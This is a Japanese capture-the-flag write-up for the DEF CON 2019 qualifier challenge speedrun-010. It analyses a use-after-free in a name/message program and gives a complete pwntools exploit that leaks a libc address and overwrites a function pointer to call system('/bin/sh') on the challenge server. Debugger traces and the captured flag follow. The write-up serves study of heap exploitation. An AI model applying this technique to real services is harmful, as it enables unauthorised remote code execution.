Help us understand the problem. What is going on with this article?

DEF CON CTF Qualifier 2019 writeup

speedrun-010(Pwn)

Baby Driver

speedrun-010.quals2019.oooverflow.io 31337

公式GitHub: https://github.com/o-o-overflow/dc2019q-speedrun-010

ファイル情報

# file ./speedrun-010
./speedrun-010: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=ceb64690b7678c81ca380737a75a5bf8f3b78e33, stripped
# checksec ./speedrun-010 
[*] '(snip)/speedrun-010'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

操作関連

  • 名前(name)とメッセージ(message)を登録できる
  • 名前に続けてメッセージを登録すると、登録した内容が表示される
  • 名前登録(選択肢:1)とメッセージ登録(選択肢:2)以外の選択肢(3~5)の動作はまだ不明(I DID ITとだけ表示される)
# ./speedrun-010
Secure Coding is hard!
Choose something.
1, 2, 3, 4, or 5
1hoge
Need a name
Choose something.
1, 2, 3, 4, or 5
2fuga
Need a message
hoge

 says 
fuga



Choose something.
1, 2, 3, 4, or 5
3
Choose something.
1, 2, 3, 4, or 5
I DID IT

静的解析

全体

  • Full RELROなのでGOT書き換えは不可。
  • PIEが効いているので、実行ファイルがロードされるアドレスは毎回変わる。

選択肢について

選択肢ごとの動きは下記。

1 名前を入力させる
2 メッセージを入力させる
3 直近に登録した名前領域(struc_name)をfree()
4 直近に登録したメッセージ領域(struc_msg)をfree()
5 終了

(選択肢:1)名前入力処理の詳細

関係する構造体(struc_name)は下記。

 2020-02-15_161858.png

大まかな処理は下記。

  • 登録済みnameのカウンタ(count_name、1~5)をインクリメント
  • 48バイト分malloc() -> struc_name
  • struc_name.nameにnameを最大23バイト読み込み
  • struc_name.ptr_putsにputs()のlibc上アドレス(puts_ptr)を格納
  • struc_nameのアドレスを.bss上(ここではarray_strucname[count_name - 1])に格納

(選択肢:2)メッセージ入力処理の詳細

関係する構造体(struc_msg)は下記。

 2020-02-15_171237.png

大まかな処理は下記。

  • 登録済みmessageのカウンタ(count_msg、1~5)をインクリメント
  • 48バイト分malloc() -> struc_msg
  • struc_msg.messageにmessageを最大24バイト読み込み
  • 直近に登録したstruc_nameを参照(array_strucname[count_name - 1])し、struc_name.ptr_puts(struc_name.name)を実行
    • 通常であれば、直近に入力したnameをputs()で表示
  • struc_msg.ptr_putsにputsのlibc上アドレス(puts_ptr)を格納
  • struc_msg.ptr_puts(struc_msg.message)を実行
    • 通常であれば、直近に入力したmessageをputs()で表示
  • struc_msg.addr_nameに、直近に登録したstruc_nameのアドレスを格納
  • struc_msgのアドレスを.bss上(ここではarray_strucmsg[count_msg - 1])に格納

(選択肢:3)名前領域free()の詳細

大まかな処理は下記。

  • 直近に登録したstruc_name(array_strucname[count_name - 1])の領域をfree()
  • count_nameはデクリメントしない

(選択肢:4)メッセージ領域freeの詳細

大まかな処理は下記。

  • 直近に登録したstruc_msg(array_strucmsg[count_msg - 1])の領域をfree()
  • count_msgをデクリメントする

考察

2020-02-15_172143.png

  • struc_nameとstruc_msgはどちらもサイズが48バイトで同じだが、puts()のlibc上アドレスを格納する領域のオフセットが異なる
    • struc_name.ptr_puts: 0x20
    • struc_msg.ptr_puts: 0x8
  • 仮にプログラムが2種類の構造体を取り違えて処理した場合、ptr_putsの実行時に任意のアドレスを実行される可能性がある
    • struc_name.ptr_puts -> struc_msg.message(の、0x10バイト目)
    • struc_msg.ptr_puts -> struc_name.name

脆弱性

puts()のlibc上アドレスのリーク

  • struc_nameおよびstruc_msgの領域確保時にmalloc()を使用しているため、確保した領域に以前のデータが残っている可能性がある
  • たとえばstruc_nameをfree()した直後にstruc_msgを確保し、その際にmessageを0x10バイト入力すると、入力したmessageに続いてputs()のlibc上アドレス(直前まで確保されていたstruc_name.ptr_putsに該当)が表示されると考えられる

Use After Free(UAF)

  • struc_nameのfree()時にcount_nameがデクリメントされない(struc_msgのfree時は正しくcount_msgがデクリメントされる)
  • struc_nameをfree()した直後にarray_strucname[count_name - 1]の情報を参照すると、すでにfree()された領域の情報が返る(UAF)
  • 上記のような状態でstruc_msgを確保すると、直前にfree()したstruc_name領域が再利用される
  • 続いてmessageとして任意の0x10バイトの直後(旧struc_name.ptr_putsに該当)に任意のアドレスを入力すると、struc_msg追加時の処理の一環として本来はputs(struc_name.name)が実行されるはずが、前述の任意のアドレスが実行されることになる

方針

  1. nameとmessageをそれぞれ1つずつ登録する。
  2. nameをfree()する。
  3. messageを登録する。このときmessageの文字列長は0x10バイト。
  4. 応答にputs()のlibc上アドレスが含まれるので、そこから下記を求める
    • libcのベースアドレス
    • system()のlibc上アドレス
  5. nameを登録する。このとき名前struc_name.nameとして/bin/sh\0を登録する。
  6. nameをfree()する。
  7. messageを登録する。このときメッセージとして(任意の文字列0x10バイト) + system()のlibc上アドレスを登録する。
  8. 上記処理時にstruc_name.ptr_puts(struc_name.name)が呼ばれる際、実際はsystem('/bin/sh\0')が呼ばれる。

exploit

from pwn import *

BIN = './speedrun-010'
LIBC = './libc.so.6'

elf = ELF(BIN)
libc = ELF(LIBC)

puts_offset = libc.symbols['puts']
system_offset = libc.symbols['system']

target = 'speedrun-010.quals2019.oooverflow.io'
port = 31337

conn = remote(target, port)

def reg_name(name):
  conn.sendafter('5\n', '1')
  conn.sendafter('name\n', name)

def reg_msg(msg):
  conn.sendafter('5\n', '2')
  conn.sendafter('message\n', msg)

def free_name():
  conn.sendafter('5\n', '3')

def free_msg():
  conn.sendafter('5\n', '4')

reg_name('A'*8)
reg_msg('a'*8)

free_name()

reg_msg('b'*0x10)

conn.recvuntil('\n says \n')
res = conn.recvline(False)[0x10:]

puts_libc = u64(res.ljust(8, '\0'))
libc_base = puts_libc - puts_offset
system_libc = libc_base + system_offset

log.info('puts_libc: {0}'.format(hex(puts_libc)))
log.info('system_libc: {0}'.format(hex(system_libc)))

reg_name('/bin/sh\0')
free_name()

conn.sendafter('5\n', '2')
conn.sendafter('message\n', 'z'*0x10 + p64(system_libc))

conn.interactive()

conn.close()

検証メモ

1. nameとmessageをそれぞれ1つずつ登録する。

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x55b5254d1000     0x55b5254d2000 r-xp     1000 0      /root/ctf/defcon2019/speedrun-010/speedrun-010
    0x55b5256d2000     0x55b5256d3000 r--p     1000 1000   /root/ctf/defcon2019/speedrun-010/speedrun-010
    0x55b5256d3000     0x55b5256d4000 rw-p     1000 2000   /root/ctf/defcon2019/speedrun-010/speedrun-010
    0x55b5258be000     0x55b5258df000 rw-p    21000 0      [heap]
    0x7f655abf6000     0x7f655addd000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/libc-2.27.so
    0x7f655addd000     0x7f655afdd000 ---p   200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7f655afdd000     0x7f655afe1000 r--p     4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7f655afe1000     0x7f655afe3000 rw-p     2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7f655afe3000     0x7f655afe7000 rw-p     4000 0      
    0x7f655afe7000     0x7f655b00e000 r-xp    27000 0      /lib/x86_64-linux-gnu/ld-2.27.so
    0x7f655b1f4000     0x7f655b1f6000 rw-p     2000 0      
    0x7f655b20e000     0x7f655b20f000 r--p     1000 27000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7f655b20f000     0x7f655b210000 rw-p     1000 28000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7f655b210000     0x7f655b211000 rw-p     1000 0      
    0x7ffea49aa000     0x7ffea49cb000 rw-p    21000 0      [stack]
    0x7ffea49f3000     0x7ffea49f6000 r--p     3000 0      [vvar]
    0x7ffea49f6000     0x7ffea49f8000 r-xp     2000 0      [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]
pwndbg> set $base=0x55b5254d1000
pwndbg> parseheap 
addr                prev                size                 status              fd                bk                
0x55b5258be000      0x0                 0x250                Used                None              None
0x55b5258be250      0x0                 0x40                 Used                None              None
0x55b5258be290      0x0                 0x40                 Used                None              None
array_strucname[]
pwndbg> telescope $base+0x202080
00:0000│   0x55b5256d3080 —▸ 0x55b5258be260 ◂— 0x0
01:0008│   0x55b5256d3088 ◂— 0x0
... ↓
array_strucmsg[]
pwndbg> telescope $base+0x202040
00:0000│   0x55b5256d3040 —▸ 0x55b5258be2a0 —▸ 0x55b5258be260 ◂— 0x0
01:0008│   0x55b5256d3048 ◂— 0x0
... ↓
pwndbg> x/20gx 0x55b5258be250
0x55b5258be250: 0x0000000000000000      0x0000000000000041
0x55b5258be260: 0x0000000000000000      0x4141414141414141
0x55b5258be270: 0x0000000000000000      0x0000000000000000
0x55b5258be280: 0x00007f655ac769c0      0x0000000000000000
0x55b5258be290: 0x0000000000000000      0x0000000000000041
0x55b5258be2a0: 0x000055b5258be260      0x00007f655ac769c0
0x55b5258be2b0: 0x6161616161616161      0x0000000000000000
0x55b5258be2c0: 0x0000000000000000      0x0000000000000000
0x55b5258be2d0: 0x0000000000000000      0x0000000000020d31
0x55b5258be2e0: 0x0000000000000000      0x0000000000000000
直近に登録したstruc_namとstruc_msg
pwndbg> telescope 0x55b5258be250
00:0000│   0x55b5258be250 ◂— 0x0
01:0008│   0x55b5258be258 ◂— 0x41 /* 'A' */
02:0010│   0x55b5258be260 ◂— 0x0
03:0018│   0x55b5258be268 ◂— 'AAAAAAAA'
04:0020│   0x55b5258be270 ◂— 0x0
... ↓
06:0030│   0x55b5258be280 —▸ 0x7f655ac769c0 (puts) ◂— push   r13
07:0038│   0x55b5258be288 ◂— 0x0
pwndbg> 
08:0040│   0x55b5258be290 ◂— 0x0
09:0048│   0x55b5258be298 ◂— 0x41 /* 'A' */
0a:0050│   0x55b5258be2a0 —▸ 0x55b5258be260 ◂— 0x0
0b:0058│   0x55b5258be2a8 —▸ 0x7f655ac769c0 (puts) ◂— push   r13
0c:0060│   0x55b5258be2b0 ◂— 'aaaaaaaa'
0d:0068│   0x55b5258be2b8 ◂— 0x0
... ↓
count_name
pwndbg> hexdump $rbp-0x24
+0000 0x7ffea49c91bc  01 (snip)
count_msg
pwndbg> hexdump $rbp-0x28
+0000 0x7ffea49c91b8  01 (snip)

2. nameをfree()する。

pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x55b5258be2d0 (size : 0x20d30) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x40)   tcache_entry[2](1): 0x55b5258be260
count_name(デクリメントされていない)
pwndbg> hexdump $rbp-0x24
+0000 0x7ffea49c91bc  01 (snip)

3. messageを登録する。このときmessageの文字列長は0x10バイト。

旧struc_name領域(0x55b5258be260-0x55b5258be28f)にstruc_msgが書き込まれた後
pwndbg> x/20gx 0x55b5258be250
0x55b5258be250: 0x0000000000000000      0x0000000000000041
0x55b5258be260: 0x000055b5258be260      0x00007f655ac769c0
0x55b5258be270: 0x6262626262626262      0x6262626262626262
0x55b5258be280: 0x00007f655ac769c0      0x0000000000000000
0x55b5258be290: 0x0000000000000000      0x0000000000000041
0x55b5258be2a0: 0x000055b5258be260      0x00007f655ac769c0
0x55b5258be2b0: 0x6161616161616161      0x0000000000000000
0x55b5258be2c0: 0x0000000000000000      0x0000000000000000
0x55b5258be2d0: 0x0000000000000000      0x0000000000020d31
0x55b5258be2e0: 0x0000000000000000      0x0000000000000000
array_strucmsg[]
pwndbg> telescope $base+0x202040
00:0000│   0x55b5256d3040 —▸ 0x55b5258be2a0 —▸ 0x55b5258be260 ◂— 0x55b5258be260
01:0008│   0x55b5256d3048 —▸ 0x55b5258be260 ◂— 0x55b5258be260
02:0010│   0x55b5256d3050 ◂— 0x0
... ↓
count_msg
pwndbg> hexdump $rbp-0x28
+0000 0x7ffea49c91b8  02 (snip)

4. 応答にputs()のlibc上アドレスが含まれるので、そこから下記を求める

  • libcのベースアドレス(libc_base)
  • system()のlibc上アドレス
[*] puts_libc: 0x7f655ac769c0
[*] system_libc: 0x7f655ac45440
system()のlibc上アドレスを念のため確認
pwndbg> p system
$2 = {int (const char *)} 0x7f655ac45440 <__libc_system>

5. nameを登録する。このとき名前として/bin/sh\0を登録する。

pwndbg> parseheap 
addr                prev                size                 status              fd                bk                
0x55b5258be000      0x0                 0x250                Used                None              None
0x55b5258be250      0x0                 0x40                 Used                None              None
0x55b5258be290      0x0                 0x40                 Used                None              None
0x55b5258be2d0      0x0                 0x40                 Used                None              None
struc_nameが(0x55b5258be2e0-0x55b5258be30f)の領域に書き込まれた状態
pwndbg> x/28gx 0x55b5258be250
0x55b5258be250: 0x0000000000000000      0x0000000000000041
0x55b5258be260: 0x000055b5258be260      0x00007f655ac769c0
0x55b5258be270: 0x6262626262626262      0x6262626262626262
0x55b5258be280: 0x00007f655ac769c0      0x0000000000000000
0x55b5258be290: 0x0000000000000000      0x0000000000000041
0x55b5258be2a0: 0x000055b5258be260      0x00007f655ac769c0
0x55b5258be2b0: 0x6161616161616161      0x0000000000000000
0x55b5258be2c0: 0x0000000000000000      0x0000000000000000
0x55b5258be2d0: 0x0000000000000000      0x0000000000000041
0x55b5258be2e0: 0x0000000000000000      0x0068732f6e69622f
0x55b5258be2f0: 0x0000000000000000      0x0000000000000000
0x55b5258be300: 0x00007f655ac769c0      0x0000000000000000
0x55b5258be310: 0x0000000000000000      0x0000000000020cf1
0x55b5258be320: 0x0000000000000000      0x0000000000000000
pwndbg> hexdump 0x55b5258be2d0
+0000 0x55b5258be2d0  00 00 00 00  00 00 00 00  41 00 00 00  00 00 00 00  │....│....│A...│....│
+0010 0x55b5258be2e0  00 00 00 00  00 00 00 00  2f 62 69 6e  2f 73 68 00  │....│....│/bin│/sh.│
+0020 0x55b5258be2f0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │....│....│....│....│
+0030 0x55b5258be300  c0 69 c7 5a  65 7f 00 00  00 00 00 00  00 00 00 00  │.i.Z│e...│....│....│
array_strucname[]
pwndbg> telescope $base+0x202080
00:0000│   0x55b5256d3080 —▸ 0x55b5258be260 ◂— 0x55b5258be260
01:0008│   0x55b5256d3088 —▸ 0x55b5258be2e0 ◂— 0x0
02:0010│   0x55b5256d3090 ◂— 0x0
... ↓
count_name
pwndbg> hexdump $rbp-0x24
+0000 0x7ffea49c91bc  02 (snip)

6. nameをfree()する。

pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x55b5258be310 (size : 0x20cf0) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x40)   tcache_entry[2](1): 0x55b5258be2e0
count_name(デクリメントされていない)
pwndbg> hexdump $rbp-0x24
+0000 0x7ffea49c91bc  02 (snip)
array_strucname[]
pwndbg> telescope $base+0x202080
00:0000│   0x55b5256d3080 —▸ 0x55b5258be260 ◂— 0x55b5258be260
01:0008│   0x55b5256d3088 —▸ 0x55b5258be2e0 ◂— 0x0
02:0010│   0x55b5256d3090 ◂— 0x0
... ↓

7. messageを登録する。このときメッセージとして(任意の文字列0x10バイト) + system()のlibc上アドレスを登録する。

pwndbg> x/28gx 0x55b5258be250
0x55b5258be250: 0x0000000000000000      0x0000000000000041
0x55b5258be260: 0x000055b5258be260      0x00007f655ac769c0
0x55b5258be270: 0x6262626262626262      0x6262626262626262
0x55b5258be280: 0x00007f655ac769c0      0x0000000000000000
0x55b5258be290: 0x0000000000000000      0x0000000000000041
0x55b5258be2a0: 0x000055b5258be260      0x00007f655ac769c0
0x55b5258be2b0: 0x6161616161616161      0x0000000000000000
0x55b5258be2c0: 0x0000000000000000      0x0000000000000000
0x55b5258be2d0: 0x0000000000000000      0x0000000000000041
0x55b5258be2e0: 0x0000000000000000      0x0068732f6e69622f
0x55b5258be2f0: 0x7a7a7a7a7a7a7a7a      0x7a7a7a7a7a7a7a7a
0x55b5258be300: 0x00007f655ac45440      0x0000000000000000
0x55b5258be310: 0x0000000000000000      0x0000000000020cf1
0x55b5258be320: 0x0000000000000000      0x0000000000000000
array_strucname[]
pwndbg> telescope $base+0x202080
00:0000│   0x55b5256d3080 —▸ 0x55b5258be260 ◂— 0x55b5258be260
01:0008│   0x55b5256d3088 —▸ 0x55b5258be2e0 ◂— 0x0
02:0010│   0x55b5256d3090 ◂— 0x0
... 
count_name
pwndbg> hexdump $rbp-0x24
+0000 0x7ffea49c91bc  02 (snip)
直近のstruc_name.nameに「/bin/sh\0」、struc_name.ptr_putsに「system()のlibc上アドレス」が格納されている
pwndbg> telescope 0x55b5258be2d0
00:0000│          0x55b5258be2d0 ◂— 0x0
01:0008│          0x55b5258be2d8 ◂— 0x41 /* 'A' */
02:0010│          0x55b5258be2e0 ◂— 0x0
03:0018│ rdx rdi  0x55b5258be2e8 ◂— 0x68732f6e69622f /* '/bin/sh' */
04:0020│ rsi      0x55b5258be2f0 ◂— 0x7a7a7a7a7a7a7a7a ('zzzzzzzz')
... ↓
06:0030│          0x55b5258be300 —▸ 0x7f655ac45440 (system) ◂— test   rdi, rdi
07:0038│          0x55b5258be308 ◂— 0x0

8. 上記処理時にstruc_name.ptr_puts(struc_name.name)が呼ばれる際、実際はsystem('/bin/sh\0')が呼ばれる。

 ► 0x55b5254d1a2d    call   rax <0x7f655ac45440>
        command: 0x55b5258be2e8 ◂— 0x68732f6e69622f /* '/bin/sh' */
$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
$ ls
-
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
service.conf
speedrun-010
srv
sys
tmp
usr
var
wrapper
$ cat flag
OOO{Yeah, he's loony. He just like his toons. Aren't W#_____411???}
Why not register and get more from Qiita?
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away
Comments
No comments
Sign up for free and join this conversation.
If you already have a Qiita account
Why do not you register as a user and use Qiita more conveniently?
You need to log in to use this function. Qiita can be used more conveniently after logging in.
You seem to be reading articles frequently this month. Qiita can be used more conveniently after logging in.
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away
ユーザーは見つかりませんでした